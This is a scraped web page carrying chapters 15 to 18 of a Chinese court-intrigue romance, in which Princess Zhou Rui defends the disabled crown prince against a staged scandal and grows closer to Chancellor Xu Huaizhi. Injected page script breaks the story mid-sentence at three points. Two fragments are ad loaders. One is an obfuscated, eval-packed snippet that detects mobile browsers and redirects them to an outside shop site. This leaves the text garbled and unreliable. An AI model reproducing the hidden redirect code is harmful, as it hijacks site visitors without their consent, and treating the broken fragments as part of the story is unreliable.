女子提裙跪地,双膝狠狠地磕在地上,随之响起的还有她哭泣的祈求,“殿下,求您救救奴,奴不想跟他走!”
屋外那人顿时怒了,“你说什么!是不是你肚子里那孩子的生父有权有势,你想飞上枝头变凤凰,我呸,老子告诉你,要让老子知晓那孩子的父亲是谁,老子杀了他!”
周芮被吵的有些烦,可身后除了一个宁熵雀,无人可以使唤。
换做之前,早有那些懂眼色的宫人将这二人赶出风月楼去了,哪里还有现在这出腌臜事儿。
屋门猛地被周芮打开,拍门叫嚣的男人猛地停下手,那张凶煞的脸展露无遗,周芮立刻认出这人正是先前在山中拦住她的二人之一。
还不等她错愕回神,裙角忽然被知意攥住,那道哭声几乎在瞬间传至了众人耳中,“殿下,奴怀的……是太子殿下的骨肉啊!”
15. 第15章
风月楼中权贵不少,南来北往的商贾更是多如牛毛。事关皇家秘辛,这些人不但不走,反而竖起耳朵生怕自个儿少听一个字。
诸多目光汇集在周芮身上,而周芮却扭头看向知意。
女子双肩轻颤,不动声色的移开目光,眸中闪过一丝愧疚,泣声道:“殿下,奴怀的是皇家血脉,奴不能跟他走啊……”
那匪人怒斥道:“你疯了不成!太子殿下怎会和你一个花娘有染,编排太子可是大罪!知意,你不能为了躲我连你自个儿的命都不要了啊!”
知意哀怨的看向众人,“奴所言句句属实,半月前,奴被带去别院见一个神秘客人,奴起初并不知晓是太子,等奴晓得时已经来不及了,他、他……”
知意欲言又止,不停擦泪。
“你是说……半月前的那回……”土匪忽然震惊到后退两步,随即双眼通红的抓住知意的肩头,“就是你满身伤痕,只剩一口气被送回楼里那次,是太子……”
他的恍惚与知意的梨花带雨相得映彰,顿时勾勒出令人同情的悲惨画面。
“不可能,那可都是鞭子麻绳才能造成的伤口,怎会是向来仁和的太子殿下!”
他赤红着双目,一心替太子说话,而知意则不断的诉说自己的苦楚,想让他知晓,那就是太子。
两人一来一回,仿佛那戏台上的说书先生,听得周遭人啧啧称奇,恨不能让风月楼上两盘果子来。
人群之中,靠着栏杆漆柱的素衣男子目光从始至终都放在周芮身上,“看来这出戏,是某些人针对太子来的。”
顺玉道:“殿下这是被当棋子用了。”
徐淮止闻言,看向周芮的目光中露出些许讽意:“她明知身陷囹圄,不在赵家好生待着,还来这处寻欢作乐,自作自受罢了。”
顺玉看了自家大人一眼,总觉着这话听着莫名有些不对劲。
不等他想明白,身后突然拥挤起来,顺玉皱眉看去,就见一穿着藏蓝锦缎衣袍的男人满脸激动的走了过来,“徐相……”
“小声些!”顺玉呵斥。
那人顿时明白过来,费劲的凑到徐淮止身边,小心翼翼的谄媚,“大人,没想到您也会来这风月楼。”
徐淮止侧头看了那人一眼,大理寺卿薛颂河,“原来是薛大人。”
“我家大人是来查消息的,你莫要多想。”顺玉看不惯这人猥琐的嘴脸,出言提醒。
“自然自然。”薛颂河年过半百,却仍旧神采奕奕,“京中谁人不知大人品行高洁,从不踏足风月,如今现身于此,定有缘由。”
见徐淮止并不搭腔,薛颂河也不气馁。
朝中谁不知晓徐淮止是块硬骨头,不结党营私,正直清廉,让诸多想要与他结交之人走投无门,他薛颂河今日能在这里见到徐相,就是老天给他开的一扇门。
他将话头引到仍在哭诉的二人身上,“这太子殿下做出这等事,定是被公主带坏的!若是陛下早早听从大人之言管教公主,太子也不会做出此等暴戾之行。”
说罢,他摇头叹息,可徐淮止不为所动,仅漫不经心的扫了他一眼,“太子殿下身子如何,百姓不知,薛大人也不知?大理寺平素都是这般断案的?”
徐淮止与昭和公主不睦乃是整个上京朝臣都知晓的,他从前也都是这般拍马屁的,以为这般或能讨个好印象,谁料……
薛颂河讪笑两声,“是是是,大人教训的是。”
与此同时,知意忽然神情激动,“奴没有撒谎,那晚的人就是太子,他荒.淫无度,暴戾恣睢,和平日里传言的不同,殿下在这儿,不信你们问殿下!”
众人的目光再次聚集在一直不曾开口的周芮身上。
闹了半晌,这才是目的吧。
周芮歪头,看向仍旧满脸悲愤的知意,说不上是否失望。
这半月来,她将前十八年从未经历过的滋味几乎都尝了一遍,连她的贴身婢女织云都能背弃她,不过萍水相逢的知意又算得了什么。
他们二人来回说着阿樾的不是,到头来再将问题抛给她,不就是想要从她口中说出阿樾已经痴傻两年,断不可能去别院做出那等禽兽不如的事情来。
可若她将太子痴傻,至今未好一事在风月楼说出,不出半日便能传遍整个京城。届时废除太子一事,乃是民心所向,她这两位皇兄,不费吹灰之力便能坐享其成,还真是打的一手好算盘。
过去两年阿樾有父皇保着,又有宫人看着,就算有朝臣私下怀疑,却也没有实证,更遑论连宫门都进不去的百姓。
是以他们想以痴傻为由废了阿樾的太子之位,最有力的人证,便是她这个一母同胞的昭和公主。
他们这是将她架在火上烤,让她在太子的名声与地位之中选其一。
在朝中有人的世家权贵多少都听过一些风言风语,周芮能想到的,他们自然也能猜到。
就连从始至终一言不发的宁熵雀眼底也不由得多了一抹兴致。
与他同样明白此种局面的徐淮止只淡淡的看着这场闹剧,好似并不关心能不能收场,如何收场。
“大人,这是黎王给殿下布的死局啊。”顺玉叹道:“明知殿下与太子情深意重,却偏偏要让殿下亲手毁了太子,这心也忒狠了。”
顺玉这番话倒是勾起他一段记忆,那日山洞,周芮字字句句都在维护周樾,感情甚笃,倒是没错。
“大人,您觉着殿下会认了这个亏吗?”
徐淮止掀起眼皮,目光跟随着忽然走向知意的周芮,并未多言。
周芮行至知意身前,伸出手,面上瞧着并未动怒,知意犹豫一瞬,才将手放上去,借力起身。
“你说太子欺辱你,如何证明那是太子?”
知意仿佛就等她询问,毫不犹豫的道:“奴记得那人后背处有一月牙疤痕,像是钝器所致。”
“本宫从前竟不知,你记性这般好。”周芮压下怒火,拢在长袖中的指尖死死的掐住皮肉,这才没意气用事,将他们的狼子野心公之于众。
知意晓得自己着急了,只能抿唇解释道:“奴那晚被蒙着眼睛看不见,所以才会记得这么清楚。”
长廊上不知是谁忽然附和道:“太子年少时和公主玩闹,后背磕在尖石上确实留下过疤痕,这姑娘说的不错,那人就是太子!”
“一块疤痕就能证明那是太子?不觉得太可笑了吗?若本宫后背上也有疤痕,那晚欺辱知意之人能不能是本宫?”
周芮不讲理的话顿时逗笑了在屋内看热闹的宁熵雀,修长的指尖缓慢的敲打在扶手上,他眼下心情极好,是以也不介意帮周芮说说话,“殿下说的有道理啊,疤痕能伪造,仅凭这点,便不能证实太子的身份。”
众人这才发现厢房中还坐了一位公子,因他所在一侧有乌木插屏,遮挡住了大半人身,眼下他突然出声,他们才看清屋内的情形。
有
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
人辩解道:“疤痕是能伪造,可新伤旧痕却全然不同,况且太子常年不出东宫,便是知太子后背有伤疤,那疤痕的具体位置、模样却无人知晓,既然这位姑娘说那后背上是月牙疤痕,不若再说仔细些,也好让我们分辨真假。”
知意回想了一瞬,这才道:“那疤痕在左腰往上两寸的地方,像是月牙,略有凹凸。”
“如此看来,果真是太子殿下啊。”
在众人的窃窃私语中,土匪看向周芮,铁了心要个答案,“公主殿下,那人当真是太子吗?”
周芮没有理会他,而是对着知意道:“你的意思是,你没有瞧见人,只摸到了这块伤疤,是以断定那人为太子?”
知意心中坠坠,不知为何,突然有一丝不安,“是、是……”
周芮忽然笑了,“伤疤啊……”
下一瞬,在众人震惊的目光中,她忽然扯开腰间的细带,单薄的月华锦衫从肩头滑落至脚边,只留下一身宋抹,堪堪遮挡住浑圆,露出白皙细腻的长臂。
无人敢想,堂堂公主殿下竟会当众脱衣,那白的晃眼的肌肤令他们迟迟回不过神来。
在诸多复杂的目光中,周芮面不改色,玉指将长发顺着耳后拨至身前,转身露出线条匀称的美人骨。
本该是如画似仙的一幕,可那美人骨下方的月牙伤疤却生生破坏了原有的美感。
月牙……伤疤。
众人猛地回过神来,倒吸一口凉气。
“这疤痕……这这这……”
“殿下身上怎会有知意姑娘说的伤疤,这到底是怎么回事?”
除了伤疤以外,靠近美人骨的地方还有几处浅浅的痕迹,若不仔细瞧,压根看不见。
但常年游走在风月中的薛颂河何其敏锐,怎会不知那是什么,他啧声道:“殿下还真不愧风流之名,也不知是谁这般好命,竟能一亲芳泽,还在那种地方留下——”
“薛大人。”
徐淮止忽而打断,在薛颂河谄媚看来时,道:“薛大人舌头长得这般好,想来大理寺的旧案都解决了?”
薛颂河讪笑两声,望着这位年纪轻轻的宰相,再不敢多言。
徐淮止气息略沉,眉眼氤氲着沉色。
将顺玉唤至身旁后,徐淮止低声吩咐了两句。
顺玉错愕,“大人,您不是不愿与……”
他不由得看向已在慢条斯理穿衣裳的周芮。
“她向来能胡闹,可大周的颜面还能被她闹几回?”
顺玉一时无言,难不成太子被诬陷,便与大周颜面无甚关系?
这话他不敢问,既看不透主子的心思,就只能听从吩咐。顺玉抬手,拨开人群,艰难的从缝隙中挤了出去。
重新穿好衣裳的周芮并不在意众人的目光,兀自系好衣带,玉指抚平褶皱之时,抬眼看向怔愣中的知意,“方才可看清楚了?”
“你、你怎么……”知意囫囵不清的开口,紧缩的瞳仁里满是不可置信。
周芮下颌微抬,语调轻扬,眼底盛满了高高在上的嘲讽,锋芒毕露,“既然瞧清楚了,你便该明白,那夜在别院中的人不是太子,而是……本宫。”
轰的一声,似火花在人群中炸开,惊涛骇浪中周遭迎来极致的静,静到周芮心中升起一股说不出的畅快。
伤敌一千自损八百又如何,这些人想利用她废了阿樾的太子之位?
做他们的春秋大梦去吧。
16. 第16章
“不可能,怎么可能呢……”
莫说知意,就是在场众人也没有一人会信如此离谱之事。便是周芮再好风月,又怎会对同是女子的知意下手。
可见周芮坦然自若的模样,众人又犹豫起来。
有面红耳赤者,高声厉喝,“荒谬,简直荒谬!”
周遭闹哄哄的,还在怔愣中的知意被男人扯了一把袖子,这才回过神来。
眼瞧众人被周芮这番举措震慑住,俨然已经忘却太子一事,知意脊背发凉,冒出冷汗,连忙用掌心贴上小腹,振振有词,“奴知晓殿下与太子情深意重,可奴肚子里的孩子做不得假,奴——”
‘啪——’
及时出现的耳光落在知意脸上,不仅打断了后面的话,还打静了周遭的声音。
没人想到周芮会突然动手,那清脆的巴掌声久久回荡在众人耳边,直到知意抬起头来时,他们才知晓周芮方才那一巴掌有多用力。
女子白净的左脸一片绯红,指甲刮过的两道血痕若隐若现。
她捂着脸,只能忍痛继续唱下这出戏,“殿下这般做,也吓不住奴!就算殿下能堵住奴的嘴,也堵不住悠悠众口!”
“本宫没想堵谁的口。”
在知意灼灼的目光中,周芮晒笑道:“本宫只是难过,替自己出口气罢了。”
知意忽而睁大了眼,掌心微颤,周芮眸中的神情如一把猛然窜起的大火,将她烧的体无完肤。
自她踏入风尘,看见过太多这样的眼神,可却从未想过有一日会在周芮眼中看见对她的嫌弃。
曾经她那般落魄狼狈之时,连要好的姐妹都会嫌弃她沦落风尘,嫌弃她不够洁身自好,可周芮没有。
蜂拥而至的情绪几乎将她淹没,知意躲闪的眼神,异样的神情在周遭人看来都一再印证着周芮与她不同寻常的关系。
窃窃私语声越来越大,知意明知或许是周芮刻意误导众人的一语双关,明知她此刻不能落入周芮的圈套,明知这是既定的结果……
可决心在这一刻,还是败给了良心。
搭在小腹上的手越收越紧,知意死死的咬住唇瓣,直到口中血腥蔓延,都没再发出一个音来。
匪人暗自着急,对着知意拼命使眼色,可女子不曾抬头,看不见他眼中的急切。
他只能自个儿咬牙道:“公主殿下,就算你想包庇太子,可知意肚子里的孩子做不了假!”
“孩子?”周芮嗤笑,“花娘每日要接多少恩客你可知晓?便是她肚中有孩子,谁又能证明那是太子的?”
不等男人反驳,周芮又道:“况且本宫说了,那夜之人是本宫,不是太子,你若不信,本宫可以等她将孩子生下来,若当真是太子的,本宫砍了这颗脑袋替太子赔罪。”
她那般笃定,让原本觉着荒谬的人都有些半信半疑起来。
形势不利,男人只能硬着头皮道:“谁不知道殿下入幕之宾众多,喜好男色,殿下如此说,不过就是为了拖延时辰,好让这孩子中途夭折,再没证据。”
周芮噙着笑看向他,胸有成竹的模样无端令男人有些心慌。
“人人都爱惜自个儿的名声,没道理本宫喜好男色一事闹得人尽皆知。”周芮道:“你们难道就不曾想过,本宫如此大张旗鼓,其中或许另有缘由?”
有人小声嗤笑,有人却皱眉思索。
就在众人好奇她又要做什么的时候,周芮早已想好对策,唤来了平素与她嬉闹的众位小郎君。
从那些人的口中,众人得知:
“殿下平日来多是听奴唱曲儿,向来不让奴近身。”
“奴也是,只有殿下兴致好的时候,才会让奴捏肩捶腿。”
“最亲近的一回,也是殿下觉着奴的手指过于细长,好奇把玩了一会儿。”
那五六人面色平静,你来我往的说着往日与周芮相处的细节。
在场诸位都不是蠢货,便是有些稍稍愚笨之人,被身旁的人一点拨也都明白过来。
喜好男色的昭和公主竟与传闻不同,与其说是喜爱男色,不若说是换了个地儿,换了批下人伺候。
否则她一个好风月之人,为何这般拘束?
但她若不好风月,又为何任由传闻遍地,从不辩解?
如此说来,便只有一个原因,如她方才所言,另有缘由。
古往今来,如周芮这般不在乎名声的人并不多,读过史书之人不过一瞬便能想起前朝的某位大人,想要遮掩一件事,那便需要用别的事来吸引旁人的目光,只有这样,才能藏住真正想藏的东西。
既然男色浮于表面,那真正藏在下面的便是更加难以启齿之事。
有些人脸色青白,看向周芮的目光比之先前还要难以言说。
可无论周芮是否有磨镜之好,眼下来看,她或许仍是清白之身一事,更来的令人震惊。
人群之中那双漆黑的眼眸,在那些小郎君的一字一句中,慢慢紧缩,汇聚成锋芒。
“徐相,您这是怎的了?”薛颂河小心翼翼的看向身侧突然不对劲的徐淮止。
“薛大人,你觉着这些人口中的话,几分真,几分假。”
薛颂河自然不信徐淮止听不出来,但仍旧道:“事发突然,昭和公主定然不会提前与这些人对好口供,是以下官觉着,八分真。”
徐淮止猛地阖眼。
洁白的床榻上忽然晕开了一滴鲜血,如一根根细针,扎进心口,涌上喉咙。
诸多情绪萦绕,向来灵台清明之人,此时竟也杂乱无章,分不清堵在心头的究竟是恼怒还是……慌乱。
这头,那几位小郎君渐渐停下声音,周芮偏过头,看向脸色难看的匪人,“还需要本宫说的再明白一些吗?”
他不死心道:“我怎么知晓殿下不是和这些人串通好的,殿下既要自证,那便让各位瞧瞧守宫砂是否还在,不然那样荒谬的事情,谁会相信。”
周芮瞬间冷下脸,恨不能将他一口咬死。
若是换做几日前,她自然不怕,反正她也没什么好名声,连衣裳都脱了,还怕露出点在手臂上的守宫砂?
可眼下,她就像是用膳到一半,眼瞧着快要咽下肚子,却猛地被人扼住喉咙般难受。
见她沉默,男人脸色转晴,消减下去的气势瞬间高涨起来,“殿下别是怕了吧。”
两厢僵持的局面对周芮并不算好。她想要破局,想要替太子挽回名声,就务必要让众人相信,她有磨镜之好。
尽管疤痕在她身上,风月楼的小郎君也能为她的说辞添一把火,可想要彻底将这些人的目光从太子身上移开,好似只差这最后一步的守宫砂。
周芮咬紧牙根,仿佛彻底走进一个死胡同,不知该如何是好。
毕竟那样东西,她变不出来。
屏风后看戏的少年忽而勾唇,搭在车轮上的手指向前轻转,朝着周芮而去。
突然,一道急切的声音自人群中传来,“老三,老三!”
蓬头垢面的老妇人自木梯而来,扒开众人,拼命的往前蛄蛹,目光直直的盯着站在周芮身侧的男人,“老三啊,你竟然真的在这儿,赶紧跟娘回去!”
随着老妇的话音落下,少年转动轮椅的手一顿,停在周芮身后不远处,默默观望着。
男人神色震惊,“娘?你怎么……”
妇人满身大汗的来到男人跟前,急的破口大骂,上手招呼,“我都说过多少回了,让你不要再和那个叫知意的花娘来往你就是不听!你知不知道她是王爷的人,你长本事了哩,你跟王爷抢女人!”
众人的目光顿时聚集在男人身上,那些话仿佛柳暗花明般,点亮了周芮的双眸。
“娘!你胡说什么!”男人脸色惨白,慌乱之中脑中一片空白。
“我胡说?我都打听了,她肚子里的孩子根本就不是你的,人看见她从黎王府出来,保不准怀的就是王爷的孩子,你不要命我还想要!走,赶紧跟我回去。”
老妇不顾周遭的吵嚷,仿佛被人恐吓过一般,拽着男人就往外走,嘴里仍在谩骂,“之前我就告诉过你青楼里的女人没个好的你不信,还非说她怀了你的孩子,现在好了,咱家差点就大难临头了,我告诉你,以后你再敢见她,就别要我这个娘了!”
男人百口莫辩,从他喊出娘的那一刻,所有的解释都不过徒劳。
他不甘心的想要甩开老妇的手,可转头却瞧见方才还对太子之事兴致勃勃的众人,如今听见与黎王有关,各个都是人精般连忙散开,生怕招惹一身骚。
在他停顿之际,妇人已经将他拽出老远。
周芮望着两人离开的背影,没承想令她如此着恼的事情,那老妇人三言两句便替她化险为夷。
尽管从那老妇人口中得知今日之事与她那两位皇兄不无关系,可眼下她顾不得生气,只觉高兴。
高兴那老
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
妇人来的恰到好处,四两拨千斤的替她解决了眼前的麻烦。
于她而言,这一池水自然是搅得越浑越好。
莫说今日过后这些人还能不能记起阿樾,便是她的磨镜之好,黎王与知意的关系都能众说纷纭,供人谈论许久了。
人群散开后,冷风徐来,周芮此时才惊觉后背浸出的冷汗,她轻拢衣衫,打了个寒颤,看了一眼从方才起便一言未发的知意。
“殿下……”
仿若看不见她眼中的湿润,周芮问:“你准备如何面对本宫那位皇兄?”
知意身子轻颤。
周芮视若无睹,苦恼道:“本宫记着大皇兄是因为骁勇善战,立下赫赫功绩,才在年少时便被封为黎王,黎王,也就是厉王,知意姑娘觉着自个儿能在他手上活过几日?”
“殿下,求殿下看在奴方才有悔意的份上,救救奴。”
双膝跪地发出的声响并不会令周芮动容。
“想来无论是本宫那心狠手辣的大皇兄还是风月楼的规矩,都不会让你过的顺遂……”
在知意祈求的目光中,周芮微微一笑,“如此这般,本宫便放心了。”
她无情的模样落到知意眼中,让她迟迟回不过神来,直到周芮即将踏出房门,她才连忙追去,可还未触碰到一片衣角,便摔倒在地。
她哭喊着,“殿下,奴的命如草芥,万般皆是迫不得已,就算奴做错了,可奴也回头了,若是可以选择,奴万万不会与殿下作对啊。”
悬停在木阶上的云履微滞一瞬,又仿若无事般轻轻踩下,这番推心置腹情真意切的话,没能换来少女的回头。
紧紧跟随的目光,终于在那道背影远去后黯然落下。
泪水砸在地上,留下浅浅的痕迹,在嘤嘤的低泣声中,轮椅从知意身侧行过,伴随着一声惋惜,“差一点,你就成功了啊。”
-
从二楼厢房外散去的众人并未离开,周芮自楼上下来后,若有似无的目光便总是落在她身上。
但周芮并未在意,只看向突然走近她,欲言又止似乎想要说些什么的小厮。
“何事?”
周芮抬眼看去,目光却不由自主的越过他的双肩,看向风月楼外停着的那辆破旧马车。
起疑惊骇的一瞬,身着棉布灰衫的男人踏出玄关,落后他半步的薛颂河笑出满脸褶子,毕恭毕敬。
在他些微不耐侧头时,周芮看清了那半张异常清隽的脸,眸光大盛。
与其同时,不知何时行至她身侧的小厮,小声道:“殿下,先前有位灰衣公子来楼中寻你,小的将他送去了厢房,不知殿下可识得?”
纤纤玉指从小厮眼前晃过,指向风月楼外站在马车旁的徐淮止,“你说的,是他吗?”
小厮抬眼看去,连连点头。
“他说了什么?”
“他说,他是殿下的人。”
周芮错愕一瞬,贝齿轻轻咬住唇畔,一瞬不瞬的盯着那位耐心似乎已到极点的宰相大人。
小厮觑着周芮的神色,“那人莫不是来混吃骗喝的,所以拿着殿下随口胡诌?”
就在他心中惊疑不定,惴惴不安时,忽而听见一声娇笑。
没承想,还有意外之喜。
小厮错愕抬头,却见少女洋洋得意的朝着那俊美至极的公子走去,“没有,他就是本宫的人。”
徐淮止抿着唇,皱眉听着薛颂河滔滔不绝的邀请之意,待他换气时,才道:“薛大人的好意本官心领了,天色不早了,还是请回吧。”
顺玉笑眯眯的抬手,赶人之意溢于言表。
薛颂河笑容凝滞,又在转瞬恢复如常,冠冕堂皇的说了几句官场话后这才拱手离开。
顺玉双手环胸,瞥着薛颂河离开的背影,轻嗤道:“这些人就像闻着腥味儿的猫一样,不放过任何一个拉拢大人的机会,烦都烦死了。”
“那母子二人回去了吗?”
顺玉放下双手,连忙道:“回去了,不过大人,您让属下将那老妇找来,难不成就只是为了给黎王添些麻烦?”
已然坐上马车的徐淮止闻言,看着仍在微微晃动的帘幕,捏上眉心,烦闷不已。
“自然不是。”
这道声音,并不是从他口中发出来的。
徐淮止指尖一顿,抬眼看向不知何时被掀开的帘幕,少女弯腰进来,霞光倾泻,为她的发丝镀上一层光晕。
17. 第17章
她眸光点点,脱口而出道:“大人叫那老妇人来,定是为了助我脱困,我说的没错吧,大人。”
徐淮止沉默的看着她,清冷的眉眼之中没有欢喜,但也没有厌恶,只有那一闪而过的挣扎犹豫。
许是周芮盯着他的目光过于专注,是以那转瞬即逝的情绪并未逃过她的眼。
少女顿时扬起嘴角,心中有底。
不过沉默刹那,徐淮止便只能眼睁睁看着周芮旁若无人般走进马车落座,对着他笑颜如花道:“大人待我这般好,那我也该回敬大人才是。”
“就赏大人,送我回府如何?”
徐淮止并未理会她,转而掀起窗笭,看向马车外欲言又止的顺玉。
顺玉心虚的抬头看了一眼徐淮止,从那眼神中,他仿佛读出了几个大字——
没用的东西。
徐淮止收回目光,正襟危坐,连余光都不曾给过周芮,“赵家的方向与我并不顺路。”
“是不顺路,还是你害怕见到我?”坐在拐角处的周芮身子略微前倾,美眸含笑的盯着他。
“怕?”徐淮止下意识看向大言不惭的少女,在对上她笑眯眯的眼神后,顿时明白过来她的用意。
周芮点着脑袋,直起身子,换了个更加舒适的姿势,“怕我察觉你先前所言,并非心中所想啊。”
“无稽之谈。”
周芮讶异一瞬,好奇道:“是吗?那你为何堂而皇之的告诉旁人,你是我的人?”
徐淮止身形略僵。
“世人都道徐相清正,不近女色,此生归宿便是朝堂,从前我也是这般觉着的,如今看来……”
周芮勾唇笑着,从窗笭吹佛进来的清风托起她披散的长发,掠过男子修长的指尖,空气中飘荡着淡淡的香气,随着那香气钻入四肢百骸的,还有少女带着笑音,轻佻又得意的一句,“徐相的这颗心,也不是石头做的嘛。”
略显大胆的话在说出口之前,周芮对徐淮止的反应便已有揣测。
似他这般古板又自傲的臣子,呵斥她言语放荡已是轻,若更着恼,恐会将她赶下马车。
但周芮已有应对之策,是以并不慌乱。
可意料之外的是,徐淮止并未否认,甚至平日里多是对她怒目的双眸,此时也未见一丝恼意。
此人,难不成转性了?
“殿下此时还满心情爱,看来方才的教训给的还不够。”
并未停止的风在离开之前吹起男子遮耳的鬓发,如血玉一般发烫的耳垂显露一瞬,又被发丝遮挡。
周芮没有因这平静至极的语气着恼,反而眉开眼笑,“所以那老妇人出现的那般及时,当真是为了助我脱困。”
徐淮止淡然道:“城外的土匪身份有异,想要查出来不算太难,豢养私兵乃是重罪,揭露罪行乃是朝臣应该做的。”
“若是如此,徐相大可以拿着那些罪行狠狠参他一把,而不是揭露罪行,打草惊蛇。”
周芮只是不愿被他轻松糊弄过去,谁料徐淮止会突然侧头看向她,颇有些恼羞成怒的意味。
知晓他这人不禁逗,周芮也没准备揪着这事不放。
闹市离赵家不算太远,不过片刻,马车便猛然一个停滞,周芮身子一晃,堪堪扶住一旁的徐淮止才稳住身子。
与此同时,幕帘被人从外掀开,“殿下,赵家到……”
“……了。”
顺玉停顿半刻,面不改色的抬头望天,若无其事的放下幕帘,佯装一切尚未发生。
周芮想要借着徐淮止的力重新坐好,却在起身至一半时,听见徐淮止冷声道:“别动。”
方才匆忙之下并未妥善系好的衣裳顺着一侧肩头滑落,还不等周芮想明白怎么回事,便听见一道细微的声音响起,接憧而至的便是徐淮止的提醒,“好了,起来吧。”
余光注意到从空中飘落的断发,周芮刹那间明白过来,原是发丝勾住了衣裳。
玉指坦然的将衣裳勾起穿好,一松一合之时,徐淮止免不得再次瞧见那道月牙疤痕。
“你背上的疤,是怎么回事。”
“方才风月楼的种种,徐相应当都瞧见了,你们都以为阿樾背上有块少时留下的伤疤,却不知道,我也有吧?”
徐淮止蹙眉:“磨镜之好是真?”
周芮猝不及防的回头,眼里的狡黠星星点点的落在徐淮止身上,“连你都这般以为,想来旁人更会分不清真假了。”
她偏头,笑得明媚,“我是不是有磨镜之好,别人不知道,你还不知?”
眼瞧他又要被惹恼,周芮立马用话堵住他,“那是他自己划伤的。”
周芮道:“真正因为调皮而摔伤留疤的人是我,因为伤口太深,太医院上下就算用尽全力也还是没能让我恢复如常,阿樾晓得后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13952444|147122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,为了哄我,自个儿动手在同样的地方留下了伤疤,是以众人都以为那次太医院是为了治他才如此兴师动众。”
这段隐秘的往事,鲜少有人知晓。
周芮瞧见徐淮止的神色,忽而一笑,“不敢置信?可事实就是如此,所以徐相……”
在徐淮止略微出神之时,周芮趁机道:“我能去东宫瞧瞧太子吗?”
“……”
漆黑的眼眸不动声色的看向毫无羞愧之意的少女,半晌后,徐淮止被她过于自然的神色逗出一声冷笑,只觉荒谬,“殿下是不是找错人了?”
周芮故作不解,“大人先前在风月楼为我出头,难道不是因为对太子还留有一丝情分吗?既如此,我替大人去瞧瞧太子处境,有何不可。”
周芮见他不语,又道:“难不成大人助我,不是因为太子,而是……”
她的欲言又止令徐淮止眉心一跳,“太子一事,我可以让人去看看再告知你。”
各退一步,对谁都好。
但周芮显然不是这般打算。
从她坦白的那刻起,想要的,就是徐淮止的心软。
“徐相,我只有亲眼看过才能放心。”
“以他的身份,眼下的局势,看与不看,有什么区别?”
“徐相没有在意的兄弟姊妹吧?所以才不明白,这一眼代表什么。”
不知等了多久,周芮才听见徐淮止哑声道:“知道了。”
分明是与以往同样冷然的声音,可周芮心底却生生淌过一丝暖意。
她没想过徐淮止会应承下来,是以从始至终都抱着死马当活马医的心态。
她想着,万一呢,万一他答应了呢……
周芮抬眼看向他的目光不似以往热烈,没有浓情蜜意,亦没有故作娇羞,好似褪下浓妆艳抹后的清荷散发出原本的香气,不算惊艳,却难忘。
“徐淮止。”这好像是周芮头一回不带任何目的唤出他的名姓。
徐淮止喉口滚动,被这一刹那的光芒晃了视线。
她静静的看了他许久,唇瓣忽而露出一丝浅笑,马车外天光昏暗,内里却恍若白昼,周芮不发一语,一双杏眸却仿佛已经诉说过千万句谢意。
由内散发的感激与真诚不讲道理的钻进他的心口。
徐淮止这一刻才总算承认——
原来他的心,当真不是石头做的。
18. 第18章
周芮从马车上下来时,赵家漆黑匾额下站着的两人着实显眼。
赵穹看了她一眼,拒绝赵亦翀的搀扶,拄着拐杖步履蹒跚的来到马车旁,“徐相既来了,不妨进府中喝杯茶。”
顺玉看向垂放的幕帘,不知幕帘后的男子是否会应承。
若是从前,他自问能猜头主子七分,眼下三番两次撞见主子和殿下之间的‘亲密’,他此时也拿不准徐淮止是如何想的。
譬如现下,他便觉着主子想要置身之外,便要远离赵家。
更何况赵家三番两次如狗皮膏药般揭不掉的做派,若他是主子,定不会给这些人好脸色。
可幕帘掀开,男子从容的走下马车,在赵穹并不意外的神情中,与他一同走进府内。
看不透。
与先前并无两样的水榭楼阁中,赵穹屏退下人,让其留在回廊尽头,只余下他和徐淮止二人站在漆栏边,望着池下欢腾的鱼儿。
赵穹递来鱼食,邀他同趣。
徐淮止婉拒后,直言道:“我能做的,便是将查到的东西命人交给宁王,至少在他们二人相斗之时,赵家能喘口气。”
这是赵穹邀他入府的目的,他早已知晓。
“徐相与上回来的时候有些不同了。”赵穹笑着摇头,目光望着水中涟漪,闲散的扔下两根鱼虫,乐呵呵的仿若他们谈论之事并非二王相斗,而是今日无云。
徐淮止沉默片刻,并未顺着他话中之意顺延下去,“让痴傻做君王弃百姓于不顾的事情,想来应该只是殿下的意思。”
“太子并未天生痴傻,老夫相信,有毒便有解,就看他们愿不愿意给老夫这个时间了。”
赵家之困还真如一盘纵横交错的死局。
无兵马无拥护,唯一能靠的便是太子的正统之身,可偏偏太子痴傻,连这唯一的路都堵死。
不怪他们想尽办法打他的注意。
他们缺的,正是他所拥有的。
“不说这些了,上回徐相来府中还未仔细瞧过吧。”赵穹将鱼虫扔回碗中,“老夫让阿芮陪你四处逛逛。”
“赵太师。”方才还从容淡定的徐淮止忽而蹙眉,“殿下虽唤太师一声外祖父,可除此之外她乃皇后嫡出,是上过玉蝶的昭和公主,正统皇室血脉,便是赵家见了她也该行君臣之礼才是,如何能陪臣子逛园。”
说的是规矩,可那斥责之声中细微的偏袒,也过于显眼。
赵穹略显错愕,随即失笑,“是老夫失礼,还望徐相莫怪。”
直到赵穹声音落下,徐淮止才想起什么,双眸凝滞一瞬,略显仓促的行礼离开。
与来时从容的步伐相同,只从徐淮止离开的背影看去,不觉有异,可他方才离开时下意识看向的方向,若是赵穹没有瞧错……
他转身看向那片涨势极好的水甘草,旋即满意的笑了。
-
宁王府。
杯盏磕在梨花木上的声音传遍整间屋子。
坐在轮椅上的少年并未被惊吓,反而不解询问:“表哥这是怎的了?”
被他唤作表哥的人,正坐在太师椅上,面染霜寒,与周芮有五分相似的双眸微眯,似是要透过宁熵雀的眼睛瞧进他心底去,“本王可曾说过,让你别动周芮。”
“说过。”
“那你为何不听!公主府走水一事我说过可以不与你计较,但你为何还要去那风月楼单独和周芮在厢房中待了半个时辰?”
“我别无所求,只想要一个周芮,表哥先前应过我的。”宁熵雀偏头看向他,“如今是不作数了吗?”
